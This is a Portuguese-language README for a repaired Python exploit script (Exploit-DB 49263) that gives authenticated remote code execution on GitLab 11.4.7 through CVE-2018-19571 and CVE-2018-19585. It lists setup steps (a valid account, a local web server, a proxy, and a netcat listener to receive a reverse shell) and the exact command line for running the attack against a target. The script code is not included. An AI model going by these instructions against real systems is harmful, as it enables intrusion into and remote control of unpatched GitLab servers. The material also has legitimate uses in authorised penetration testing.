edb-49263-fixed - GitLab 11.4.7 - Execução Remota de Código Autenticada

Versão corrigida do script Python para explorar CVE-2018-19571 e CVE-2018-19585 (GitLab 11.4.7 - Execução Remota de Código Autenticada) disponível em https://www.exploit-db.com/exploits/49263 (Python 3.9).

Uso

Edite o script e substitua o endereço alvo pelo endereço alvo real.

Lembre-se também de que você precisa

1. ter uma conta de usuário válida na instância Gitlab alvo,
2. executar um servidor web (python) na porta 80 no diretório de onde o script é executado,
3. ter um servidor proxy ativo em sua máquina na porta 8080 (por exemplo, BURP com interceptação desligada; a execução do script falhará sem erro se não houver um servidor proxy em execução no host local ou se ele estiver recusando conexões), e
4. ter um listener netcat configurado na porta desejada em sua máquina.

O script é então executado da seguinte forma:

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener